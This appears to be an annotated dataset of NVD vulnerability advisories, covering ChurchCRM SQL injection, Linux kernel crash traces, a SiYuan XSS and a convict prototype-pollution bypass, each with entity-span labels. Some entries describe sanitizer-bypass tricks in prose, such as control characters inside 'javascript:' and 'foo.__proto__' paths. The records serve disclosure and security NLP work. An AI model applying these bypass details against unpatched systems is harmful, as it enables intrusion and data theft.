{"text": "ChurchCRM is an open-source church management system. Prior to 7.1.0, a SQL injection vulnerability exists in PropertyTypeEditor.php, part of the administration functionality for managing property type categories (People → Person Properties / Family Properties). The vulnerability was introduced when legacyFilterInput() which both strips HTML and escapes SQL — was replaced with sanitizeText(), which strips HTML only. User-supplied values from the Name and Description fields are concatenated directly into raw INSERT and UPDATE queries with no SQL escaping. This allows any authenticated user with the MenuOptions role (a non-admin staff permission) to perform time-based blind injection and exfiltrate any data from the database, including password hashes of all users. This vulnerability is fixed in 7.1.0.", "spans": {"FILEPATH: PropertyTypeEditor.php": [[110, 132]], "VULNERABILITY: SQL injection": [[72, 85]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-39340"}}
{"text": "The Ally – Web Accessibility & Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.", "spans": {"SYSTEM: WordPress": [[52, 61]], "VULNERABILITY: SQL Injection": [[79, 92]], "VULNERABILITY: SQL injection": [[716, 729]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-2413"}}
{"text": "Jellyfin is an open source self hosted media server. Versions prior to 10.11.7 contain a denial of service vulnerability in the SyncPlay group creation endpoint (POST /SyncPlay/New), where an authenticated user can create groups with names of unlimited size due to insufficient input validation. By sending large payloads combined with arbitrary group IDs, an attacker can lock out the endpoint for other clients attempting to join SyncPlay groups and significantly increase the memory usage of the Jellyfin process, potentially leading to an out-of-memory crash. This issue has been fixed in version 10.11.7.", "spans": {"FILEPATH: /SyncPlay/New": [[167, 180]], "VULNERABILITY: denial of service": [[89, 106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35034"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfsdax: Fix infinite loop in dax_iomap_rw()\n\nI got an infinite loop and a WARNING report when executing a tail command\nin virtiofs.\n\n  WARNING: CPU: 10 PID: 964 at fs/iomap/iter.c:34 iomap_iter+0x3a2/0x3d0\n  Modules linked in:\n  CPU: 10 PID: 964 Comm: tail Not tainted 5.19.0-rc7\n  Call Trace:\n  <TASK>\n  dax_iomap_rw+0xea/0x620\n  ? __this_cpu_preempt_check+0x13/0x20\n  fuse_dax_read_iter+0x47/0x80\n  fuse_file_read_iter+0xae/0xd0\n  new_sync_read+0xfe/0x180\n  ? 0xffffffff81000000\n  vfs_read+0x14d/0x1a0\n  ksys_read+0x6d/0xf0\n  __x64_sys_read+0x1a/0x20\n  do_syscall_64+0x3b/0x90\n  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe tail command will call read() with a count of 0. In this case,\niomap_iter() will report this WARNING, and always return 1 which casuing\nthe infinite loop in dax_iomap_rw().\n\nFixing by checking count whether is 0 in dax_iomap_rw().", "spans": {"FILEPATH: /iomap/iter.c": [[234, 247]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: infinite loop": [[80, 93], [122, 135], [835, 848]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48635"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915/vma: Fix UAF on destroy against retire race\n\nObject debugging tools were sporadically reporting illegal attempts to\nfree a still active i915 VMA object when parking a GT believed to be idle.\n\n[161.359441] ODEBUG: free active (active state 0) object: ffff88811643b958 object type: i915_active hint: __i915_vma_active+0x0/0x50 [i915]\n[161.360082] WARNING: CPU: 5 PID: 276 at lib/debugobjects.c:514 debug_print_object+0x80/0xb0\n...\n[161.360304] CPU: 5 PID: 276 Comm: kworker/5:2 Not tainted 6.5.0-rc1-CI_DRM_13375-g003f860e5577+ #1\n[161.360314] Hardware name: Intel Corporation Rocket Lake Client Platform/RocketLake S UDIMM 6L RVP, BIOS RKLSFWI1.R00.3173.A03.2204210138 04/21/2022\n[161.360322] Workqueue: i915-unordered __intel_wakeref_put_work [i915]\n[161.360592] RIP: 0010:debug_print_object+0x80/0xb0\n...\n[161.361347] debug_object_free+0xeb/0x110\n[161.361362] i915_active_fini+0x14/0x130 [i915]\n[161.361866] release_references+0xfe/0x1f0 [i915]\n[161.362543] i915_vma_parked+0x1db/0x380 [i915]\n[161.363129] __gt_park+0x121/0x230 [i915]\n[161.363515] ____intel_wakeref_put_last+0x1f/0x70 [i915]\n\nThat has been tracked down to be happening when another thread is\ndeactivating the VMA inside __active_retire() helper, after the VMA's\nactive counter has been already decremented to 0, but before deactivation\nof the VMA's object is reported to the object debugging tool.\n\nWe could prevent from that race by serializing i915_active_fini() with\n__active_retire() via ref->tree_lock, but that wouldn't stop the VMA from\nbeing used, e.g. from __i915_vma_retire() called at the end of\n__active_retire(), after that VMA has been already freed by a concurrent\ni915_vma_destroy() on return from the i915_active_fini().  Then, we should\nrather fix the issue at the VMA level, not in i915_active.\n\nSince __i915_vma_parked() is called from __gt_park() on last put of the\nGT's wakeref, the issue could be addressed by holding the GT wakeref long\nenough for __active_retire() to complete before that wakeref is released\nand the GT parked.\n\nI believe the issue was introduced by commit d93939730347 (\"drm/i915:\nRemove the vma refcount\") which moved a call to i915_active_fini() from\na dropped i915_vma_release(), called on last put of the removed VMA kref,\nto i915_vma_parked() processing path called on last put of a GT wakeref.\nHowever, its visibility to the object debugging tool was suppressed by a\nbug in i915_active that was fixed two weeks later with commit e92eb246feb9\n(\"drm/i915/active: Fix missing debug object activation\").\n\nA VMA associated with a request doesn't acquire a GT wakeref by itself.\nInstead, it depends on a wakeref held directly by the request's active\nintel_context for a GT associated with its VM, and indirectly on that\nintel_context's engine wakeref if the engine belongs to the same GT as the\nVMA's VM.  Those wakerefs are released asynchronously to VMA deactivation.\n\nFix the issue by getting a wakeref for the VMA's GT when activating it,\nand putting that wakeref only after the VMA is deactivated.  However,\nexclude global GTT from that processing path, otherwise the GPU never goes\nidle.  Since __i915_vma_retire() may be called from atomic contexts, use\nasync variant of wakeref put.  Also, to avoid circular locking dependency,\ntake care of acquiring the wakeref before VM mutex when both are needed.\n\nv7: Add inline comments with justifications for:\n    - using untracked variants of intel_gt_pm_get/put() (Nirmoy),\n    - using async variant of _put(),\n    - not getting the wakeref in case of a global GTT,\n    - always getting the first wakeref outside vm->mutex.\nv6: Since __i915_vma_active/retire() callbacks are not serialized, storing\n    a wakeref tracking handle inside struct i915_vma is not safe, and\n    there is no other good place for that.  Use untracked variants of\n    intel_gt_pm_get/put_async().\nv5: Replace \"tile\" with \"GT\" across commit description (Rodrigo),\n  - \n---truncated---", "spans": {"FILEPATH: /i915/vma": [[72, 81]], "FILEPATH: /21/2022": [[748, 756]], "FILEPATH: /i915/active": [[2542, 2554]], "FILEPATH: debugobjects.c": [[455, 469]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[635, 640]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26939"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncdrom: rearrange last_media_change check to avoid unintentional overflow\n\nWhen running syzkaller with the newly reintroduced signed integer wrap\nsanitizer we encounter this splat:\n\n[  366.015950] UBSAN: signed-integer-overflow in ../drivers/cdrom/cdrom.c:2361:33\n[  366.021089] -9223372036854775808 - 346321 cannot be represented in type '__s64' (aka 'long long')\n[  366.025894] program syz-executor.4 is using a deprecated SCSI ioctl, please convert it to SG_IO\n[  366.027502] CPU: 5 PID: 28472 Comm: syz-executor.7 Not tainted 6.8.0-rc2-00035-gb3ef86b5a957 #1\n[  366.027512] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[  366.027518] Call Trace:\n[  366.027523]  <TASK>\n[  366.027533]  dump_stack_lvl+0x93/0xd0\n[  366.027899]  handle_overflow+0x171/0x1b0\n[  366.038787] ata1.00: invalid multi_count 32 ignored\n[  366.043924]  cdrom_ioctl+0x2c3f/0x2d10\n[  366.063932]  ? __pm_runtime_resume+0xe6/0x130\n[  366.071923]  sr_block_ioctl+0x15d/0x1d0\n[  366.074624]  ? __pfx_sr_block_ioctl+0x10/0x10\n[  366.077642]  blkdev_ioctl+0x419/0x500\n[  366.080231]  ? __pfx_blkdev_ioctl+0x10/0x10\n...\n\nHistorically, the signed integer overflow sanitizer did not work in the\nkernel due to its interaction with `-fwrapv` but this has since been\nchanged [1] in the newest version of Clang. It was re-enabled in the\nkernel with Commit 557f8c582a9ba8ab (\"ubsan: Reintroduce signed overflow\nsanitizer\").\n\nLet's rearrange the check to not perform any arithmetic, thus not\ntripping the sanitizer.", "spans": {"FILEPATH: /drivers/cdrom/cdrom.c": [[301, 323]], "FILEPATH: /01/2014": [[731, 739]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[661, 665]], "VULNERABILITY: integer overflow": [[1231, 1247]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42136"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/x86/lbr: Filter vsyscall addresses\n\nWe found that a panic can occur when a vsyscall is made while LBR sampling\nis active. If the vsyscall is interrupted (NMI) for perf sampling, this\ncall sequence can occur (most recent at top):\n\n    __insn_get_emulate_prefix()\n    insn_get_emulate_prefix()\n    insn_get_prefixes()\n    insn_get_opcode()\n    decode_branch_type()\n    get_branch_type()\n    intel_pmu_lbr_filter()\n    intel_pmu_handle_irq()\n    perf_event_nmi_handler()\n\nWithin __insn_get_emulate_prefix() at frame 0, a macro is called:\n\n    peek_nbyte_next(insn_byte_t, insn, i)\n\nWithin this macro, this dereference occurs:\n\n    (insn)->next_byte\n\nInspecting registers at this point, the value of the next_byte field is the\naddress of the vsyscall made, for example the location of the vsyscall\nversion of gettimeofday() at 0xffffffffff600000. The access to an address\nin the vsyscall region will trigger an oops due to an unhandled page fault.\n\nTo fix the bug, filtering for vsyscalls can be done when\ndetermining the branch type. This patch will return\na \"none\" branch if a kernel address if found to lie in the\nvsyscall region.", "spans": {"FILEPATH: /x86/lbr": [[73, 81]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52476"}}
{"text": "A local privilege escalation (LPE) vulnerability has been identified in Phish Alert Button for Outlook (PAB), specifically within its configuration management functionalities. This vulnerability allows a regular user to modify the application's configuration file to redirect update checks to an arbitrary server, which can then be exploited in conjunction with CVE-2024-29209 to execute arbitrary code with elevated privileges.\n\nThe issue stems from improper permission settings on the application's configuration file, which is stored in a common directory accessible to all users. This file includes critical parameters, such as the update server URL. By default, the application does not enforce adequate access controls on this file, allowing non-privileged users to modify it without administrative consent.\n\nAn attacker with regular user access can alter the update server URL specified in the configuration file to point to a malicious server. When the application performs its next update check, it will contact the attacker-controlled server. If the system is also vulnerable to CVE-2024-29209, the attacker can deliver a malicious update package that, when executed, grants them elevated privileges.\n\nImpact:\nThis vulnerability can lead to a regular user executing code with administrative privileges. This can result in unauthorized access to sensitive data, installation of additional malware, and a full takeover of the affected system.\n\nAffected Products:\nPhish Alert Button (PAB) for Outlook versions 1.10.0-1.10.11\nSecond Chance Client versions 2.0.0-2.0.9\nPIQ Client versions 1.0.0-1.0.15\n\nRemediation:\nKnowBe4 has released a patch that corrects the permission settings on the configuration file to prevent unauthorized modifications. Automated updates will be pushed to address this issue. Users of affected versions should verify the latest version is applied and, if not, apply the latest updates provided by KnowBe4.\n\nWorkarounds:\nManually set the correct permissions on the configuration file to restrict write access to administrators only.\n\nCredits:\nThis vulnerability was discovered by Ceri Coburn at Pen Test Partners, who reported it responsibly to the vendor.", "spans": {"CVE_ID: CVE-2024-29209": [[362, 376], [1089, 1103]], "VULNERABILITY: privilege escalation": [[8, 28]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29210"}}
{"text": "IOMMU page mapping issues on x86 T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Both AMD and Intel allow ACPI tables to specify regions of memory which should be left untranslated, which typically means these addresses should pass the translation phase unaltered. While these are typically device specific ACPI properties, they can also be specified to apply to a range of devices, or even all devices. On all systems with such regions Xen failed to prevent guests from undoing/replacing such mappings (CVE-2021-28694). On AMD systems, where a discontinuous range is specified by firmware, the supposedly-excluded middle range will also be identity-mapped (CVE-2021-28695). Further, on AMD systems, upon de-assigment of a physical device from a guest, the identity mappings would be left in place, allowing a guest continued access to ranges of memory which it shouldn't have access to anymore (CVE-2021-28696).", "spans": {"CVE_ID: CVE-2021-28694": [[585, 599]], "CVE_ID: CVE-2021-28695": [[739, 753]], "CVE_ID: CVE-2021-28696": [[977, 991]], "SYSTEM: Xen": [[518, 521]], "ORGANIZATION: Intel": [[175, 180]], "ORGANIZATION: AMD": [[167, 170], [605, 608], [768, 771]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28696"}}
{"text": "A vulnerability has been identified in APOGEE PXC Compact (BACnet) (All versions < V3.5.5), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.20), APOGEE PXC Modular (BACnet) (All versions < V3.5.5), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.20), Nucleus NET (All versions < V5.2), Nucleus Source Code (Versions including affected DNS modules), TALON TC Compact (BACnet) (All versions < V3.5.5), TALON TC Modular (BACnet) (All versions < V3.5.5). The DNS domain name label parsing functionality does not properly validate the names in DNS-responses. The parsing of malformed responses could result in a write past the end of an allocated structure. An attacker with a privileged position in the network could leverage this vulnerability to execute code in the context of the current process or cause a denial-of-service condition.", "spans": {"VULNERABILITY: denial-of-service": [[818, 835]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15795"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to version 4.10.4, for regular (non-LiveQuery) queries, the session token is removed from the response, but for LiveQuery payloads it is currently not. If a user has a LiveQuery subscription on the `Parse.User` class, all session tokens created during user sign-ups will be broadcast as part of the LiveQuery payload. A patch in version 4.10.4 removes session tokens from the LiveQuery payload. As a workaround, set `user.acl(new Parse.ACL())` in a beforeSave trigger to make the user private already on sign-up.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41109"}}
{"text": "In express-jwt (NPM package) up and including version 5.3.3, the algorithms entry to be specified in the configuration is not being enforced. When algorithms is not specified in the configuration, with the combination of jwks-rsa, it may lead to authorization bypass. You are affected by this vulnerability if all of the following conditions apply: - You are using express-jwt - You do not have **algorithms** configured in your express-jwt configuration. - You are using libraries such as jwks-rsa as the **secret**. You can fix this by specifying **algorithms** in the express-jwt configuration. See linked GHSA for example. This is also fixed in version 6.0.0.", "spans": {"VULNERABILITY: authorization bypass": [[246, 266]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15084"}}
{"text": "SIF is an open source implementation of the Singularity Container Image Format. The `siftool new` command and func siftool.New() produce predictable UUID identifiers due to insecure randomness in the version of the `github.com/satori/go.uuid` module used as a dependency. A patch is available in version >= v1.2.3 of the module. Users are encouraged to upgrade. As a workaround, users passing CreateInfo struct should ensure the `ID` field is generated using a version of `github.com/satori/go.uuid` that is not vulnerable to this issue.", "spans": {"DOMAIN: github.com": [[216, 226], [473, 483]], "FILEPATH: /satori/go.uuid": [[226, 241], [483, 498]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29499"}}
{"text": "eMPS 9.0.1.923211 on FireEye EX 3500 devices allows remote authenticated users to conduct SQL injection attacks via the sort_by parameter to the email search feature. According to the vendor, the issue is fixed in 9.0.3. NOTE: this is different from CVE-2020-25034 and affects newer versions of the software.", "spans": {"CVE_ID: CVE-2020-25034": [[250, 264]], "VULNERABILITY: SQL injection": [[90, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28969"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: Check the count value of channel spec to prevent out-of-bounds reads\n\nThis patch fixes slab-out-of-bounds reads in brcmfmac that occur in\nbrcmf_construct_chaninfo() and brcmf_enable_bw40_2g() when the count\nvalue of channel specifications provided by the device is greater than\nthe length of 'list->element[]', decided by the size of the 'list'\nallocated with kzalloc(). The patch adds checks that make the functions\nfree the buffer and return -EINVAL if that is the case. Note that the\nnegative return is handled by the caller, brcmf_setup_wiphybands() or\nbrcmf_cfg80211_attach().\n\nFound by a modified version of syzkaller.\n\nCrash Report from brcmf_construct_chaninfo():\n==================================================================\nBUG: KASAN: slab-out-of-bounds in brcmf_setup_wiphybands+0x1238/0x1430\nRead of size 4 at addr ffff888115f24600 by task kworker/0:2/1896\n\nCPU: 0 PID: 1896 Comm: kworker/0:2 Tainted: G        W  O      5.14.0+ #132\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.1-0-ga5cab58e9a3f-prebuilt.qemu.org 04/01/2014\nWorkqueue: usb_hub_wq hub_event\nCall Trace:\n dump_stack_lvl+0x57/0x7d\n print_address_description.constprop.0.cold+0x93/0x334\n kasan_report.cold+0x83/0xdf\n brcmf_setup_wiphybands+0x1238/0x1430\n brcmf_cfg80211_attach+0x2118/0x3fd0\n brcmf_attach+0x389/0xd40\n brcmf_usb_probe+0x12de/0x1690\n usb_probe_interface+0x25f/0x710\n really_probe+0x1be/0xa90\n __driver_probe_device+0x2ab/0x460\n driver_probe_device+0x49/0x120\n __device_attach_driver+0x18a/0x250\n bus_for_each_drv+0x123/0x1a0\n __device_attach+0x207/0x330\n bus_probe_device+0x1a2/0x260\n device_add+0xa61/0x1ce0\n usb_set_configuration+0x984/0x1770\n usb_generic_driver_probe+0x69/0x90\n usb_probe_device+0x9c/0x220\n really_probe+0x1be/0xa90\n __driver_probe_device+0x2ab/0x460\n driver_probe_device+0x49/0x120\n __device_attach_driver+0x18a/0x250\n bus_for_each_drv+0x123/0x1a0\n __device_attach+0x207/0x330\n bus_probe_device+0x1a2/0x260\n device_add+0xa61/0x1ce0\n usb_new_device.cold+0x463/0xf66\n hub_event+0x10d5/0x3330\n process_one_work+0x873/0x13e0\n worker_thread+0x8b/0xd10\n kthread+0x379/0x450\n ret_from_fork+0x1f/0x30\n\nAllocated by task 1896:\n kasan_save_stack+0x1b/0x40\n __kasan_kmalloc+0x7c/0x90\n kmem_cache_alloc_trace+0x19e/0x330\n brcmf_setup_wiphybands+0x290/0x1430\n brcmf_cfg80211_attach+0x2118/0x3fd0\n brcmf_attach+0x389/0xd40\n brcmf_usb_probe+0x12de/0x1690\n usb_probe_interface+0x25f/0x710\n really_probe+0x1be/0xa90\n __driver_probe_device+0x2ab/0x460\n driver_probe_device+0x49/0x120\n __device_attach_driver+0x18a/0x250\n bus_for_each_drv+0x123/0x1a0\n __device_attach+0x207/0x330\n bus_probe_device+0x1a2/0x260\n device_add+0xa61/0x1ce0\n usb_set_configuration+0x984/0x1770\n usb_generic_driver_probe+0x69/0x90\n usb_probe_device+0x9c/0x220\n really_probe+0x1be/0xa90\n __driver_probe_device+0x2ab/0x460\n driver_probe_device+0x49/0x120\n __device_attach_driver+0x18a/0x250\n bus_for_each_drv+0x123/0x1a0\n __device_attach+0x207/0x330\n bus_probe_device+0x1a2/0x260\n device_add+0xa61/0x1ce0\n usb_new_device.cold+0x463/0xf66\n hub_event+0x10d5/0x3330\n process_one_work+0x873/0x13e0\n worker_thread+0x8b/0xd10\n kthread+0x379/0x450\n ret_from_fork+0x1f/0x30\n\nThe buggy address belongs to the object at ffff888115f24000\n which belongs to the cache kmalloc-2k of size 2048\nThe buggy address is located 1536 bytes inside of\n 2048-byte region [ffff888115f24000, ffff888115f24800)\n\nMemory state around the buggy address:\n ffff888115f24500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ffff888115f24580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n>ffff888115f24600: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n                   ^\n ffff888115f24680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n ffff888115f24700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n==================================================================\n\nCrash Report from brcmf_enable_bw40_2g():\n==========\n---truncated---", "spans": {"DOMAIN: rel-1.12.1-0-ga5cab58e9a3f-prebuilt.qemu.org": [[1097, 1141]], "FILEPATH: /01/2014": [[1144, 1152]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1052, 1056]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49740"}}
{"text": "A vulnerability was found in OpenMRS Appointment Scheduling Module up to 1.12.x. It has been classified as problematic. This affects the function validateFieldName of the file api/src/main/java/org/openmrs/module/appointmentscheduling/validator/AppointmentTypeValidator.java. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. Upgrading to version 1.13.0 is able to address this issue. The name of the patch is 34213c3f6ea22df427573076fb62744694f601d8. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216915.", "spans": {"HASH: 34213c3f6ea22df427573076fb62744694f601d8": [[456, 496]], "FILEPATH: /src/main/java/org/openmrs/module/appointmentscheduling/validator/AppointmentTypeValidator.java.": [[179, 275]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36635"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: update orig_path in ext4_find_extent()\n\nIn ext4_find_extent(), if the path is not big enough, we free it and set\n*orig_path to NULL. But after reallocating and successfully initializing\nthe path, we don't update *orig_path, in which case the caller gets a\nvalid path but a NULL ppath, and this may cause a NULL pointer dereference\nor a path memory leak. For example:\n\next4_split_extent\n  path = *ppath = 2000\n  ext4_find_extent\n    if (depth > path[0].p_maxdepth)\n      kfree(path = 2000);\n      *orig_path = path = NULL;\n      path = kcalloc() = 3000\n  ext4_split_extent_at(*ppath = NULL)\n    path = *ppath;\n    ex = path[depth].p_ext;\n    // NULL pointer dereference!\n\n==================================================================\nBUG: kernel NULL pointer dereference, address: 0000000000000010\nCPU: 6 UID: 0 PID: 576 Comm: fsstress Not tainted 6.11.0-rc2-dirty #847\nRIP: 0010:ext4_split_extent_at+0x6d/0x560\nCall Trace:\n <TASK>\n ext4_split_extent.isra.0+0xcb/0x1b0\n ext4_ext_convert_to_initialized+0x168/0x6c0\n ext4_ext_handle_unwritten_extents+0x325/0x4d0\n ext4_ext_map_blocks+0x520/0xdb0\n ext4_map_blocks+0x2b0/0x690\n ext4_iomap_begin+0x20e/0x2c0\n[...]\n==================================================================\n\nTherefore, *orig_path is updated when the extent lookup succeeds, so that\nthe caller can safely use path or *ppath.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[381, 405], [719, 743], [825, 849]], "VULNERABILITY: memory leak": [[416, 427]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49881"}}
{"text": "SiYuan is a personal knowledge management system. Prior to 3.5.10, SiYuan's SVG sanitizer (SanitizeSVG) checks href attributes for the javascript: prefix using strings.HasPrefix(). However, inserting ASCII tab (&#9;), newline (&#10;), or carriage return (&#13;) characters inside the javascript: string bypasses this prefix check. Browsers strip these characters per the WHATWG URL specification before parsing the URL scheme, so the JavaScript still executes. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint, creating a reflected XSS. This is a second bypass of the fix for CVE-2026-29183 (fixed in v3.5.9). This vulnerability is fixed in 3.5.10.", "spans": {"CVE_ID: CVE-2026-29183": [[642, 656]], "FILEPATH: /api/icon/getDynamicIcon": [[542, 566]], "VULNERABILITY: reflected XSS": [[588, 601]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31809"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: Fix use-after-free bugs caused by sco_sock_timeout\n\nWhen the sco connection is established and then, the sco socket\nis releasing, timeout_work will be scheduled to judge whether\nthe sco disconnection is timeout. The sock will be deallocated\nlater, but it is dereferenced again in sco_sock_timeout. As a\nresult, the use-after-free bugs will happen. The root cause is\nshown below:\n\n    Cleanup Thread               |      Worker Thread\nsco_sock_release                 |\n  sco_sock_close                 |\n    __sco_sock_close             |\n      sco_sock_set_timer         |\n        schedule_delayed_work    |\n  sco_sock_kill                  |    (wait a time)\n    sock_put(sk) //FREE          |  sco_sock_timeout\n                                 |    sock_hold(sk) //USE\n\nThe KASAN report triggered by POC is shown below:\n\n[   95.890016] ==================================================================\n[   95.890496] BUG: KASAN: slab-use-after-free in sco_sock_timeout+0x5e/0x1c0\n[   95.890755] Write of size 4 at addr ffff88800c388080 by task kworker/0:0/7\n...\n[   95.890755] Workqueue: events sco_sock_timeout\n[   95.890755] Call Trace:\n[   95.890755]  <TASK>\n[   95.890755]  dump_stack_lvl+0x45/0x110\n[   95.890755]  print_address_description+0x78/0x390\n[   95.890755]  print_report+0x11b/0x250\n[   95.890755]  ? __virt_addr_valid+0xbe/0xf0\n[   95.890755]  ? sco_sock_timeout+0x5e/0x1c0\n[   95.890755]  kasan_report+0x139/0x170\n[   95.890755]  ? update_load_avg+0xe5/0x9f0\n[   95.890755]  ? sco_sock_timeout+0x5e/0x1c0\n[   95.890755]  kasan_check_range+0x2c3/0x2e0\n[   95.890755]  sco_sock_timeout+0x5e/0x1c0\n[   95.890755]  process_one_work+0x561/0xc50\n[   95.890755]  worker_thread+0xab2/0x13c0\n[   95.890755]  ? pr_cont_work+0x490/0x490\n[   95.890755]  kthread+0x279/0x300\n[   95.890755]  ? pr_cont_work+0x490/0x490\n[   95.890755]  ? kthread_blkcg+0xa0/0xa0\n[   95.890755]  ret_from_fork+0x34/0x60\n[   95.890755]  ? kthread_blkcg+0xa0/0xa0\n[   95.890755]  ret_from_fork_asm+0x11/0x20\n[   95.890755]  </TASK>\n[   95.890755]\n[   95.890755] Allocated by task 506:\n[   95.890755]  kasan_save_track+0x3f/0x70\n[   95.890755]  __kasan_kmalloc+0x86/0x90\n[   95.890755]  __kmalloc+0x17f/0x360\n[   95.890755]  sk_prot_alloc+0xe1/0x1a0\n[   95.890755]  sk_alloc+0x31/0x4e0\n[   95.890755]  bt_sock_alloc+0x2b/0x2a0\n[   95.890755]  sco_sock_create+0xad/0x320\n[   95.890755]  bt_sock_create+0x145/0x320\n[   95.890755]  __sock_create+0x2e1/0x650\n[   95.890755]  __sys_socket+0xd0/0x280\n[   95.890755]  __x64_sys_socket+0x75/0x80\n[   95.890755]  do_syscall_64+0xc4/0x1b0\n[   95.890755]  entry_SYSCALL_64_after_hwframe+0x67/0x6f\n[   95.890755]\n[   95.890755] Freed by task 506:\n[   95.890755]  kasan_save_track+0x3f/0x70\n[   95.890755]  kasan_save_free_info+0x40/0x50\n[   95.890755]  poison_slab_object+0x118/0x180\n[   95.890755]  __kasan_slab_free+0x12/0x30\n[   95.890755]  kfree+0xb2/0x240\n[   95.890755]  __sk_destruct+0x317/0x410\n[   95.890755]  sco_sock_release+0x232/0x280\n[   95.890755]  sock_close+0xb2/0x210\n[   95.890755]  __fput+0x37f/0x770\n[   95.890755]  task_work_run+0x1ae/0x210\n[   95.890755]  get_signal+0xe17/0xf70\n[   95.890755]  arch_do_signal_or_restart+0x3f/0x520\n[   95.890755]  syscall_exit_to_user_mode+0x55/0x120\n[   95.890755]  do_syscall_64+0xd1/0x1b0\n[   95.890755]  entry_SYSCALL_64_after_hwframe+0x67/0x6f\n[   95.890755]\n[   95.890755] The buggy address belongs to the object at ffff88800c388000\n[   95.890755]  which belongs to the cache kmalloc-1k of size 1024\n[   95.890755] The buggy address is located 128 bytes inside of\n[   95.890755]  freed 1024-byte region [ffff88800c388000, ffff88800c388400)\n[   95.890755]\n[   95.890755] The buggy address belongs to the physical page:\n[   95.890755] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff88800c38a800 pfn:0xc388\n[   95.890755] head: order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0\n[   95.890755] ano\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[84, 98], [395, 409], [1018, 1032]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-27398"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_php_pecl.php. When parsing the canal parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9745.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_php_pecl.php": [[228, 245]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15434"}}
{"text": "This affects the package convict before 6.2.3. This is a bypass of [CVE-2022-22143](https://security.snyk.io/vuln/SNYK-JS-CONVICT-2340604). The [fix](https://github.com/mozilla/node-convict/commit/3b86be087d8f14681a9c889d45da7fe3ad9cd880) introduced, relies on the startsWith method and does not prevent the vulnerability: before splitting the path, it checks if it starts with __proto__ or this.constructor.prototype. To bypass this check it's possible to prepend the dangerous paths with any string value followed by a dot, like for example foo.__proto__ or foo.this.constructor.prototype.", "spans": {"CVE_ID: CVE-2022-22143": [[68, 82]], "URL: https://security.snyk.io/vuln/SNYK-JS-CONVICT-2340604": [[84, 137]], "URL: https://github.com/mozilla/node-convict/commit/3b86be087d8f14681a9c889d45da7fe3ad9cd880": [[150, 237]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21190"}}
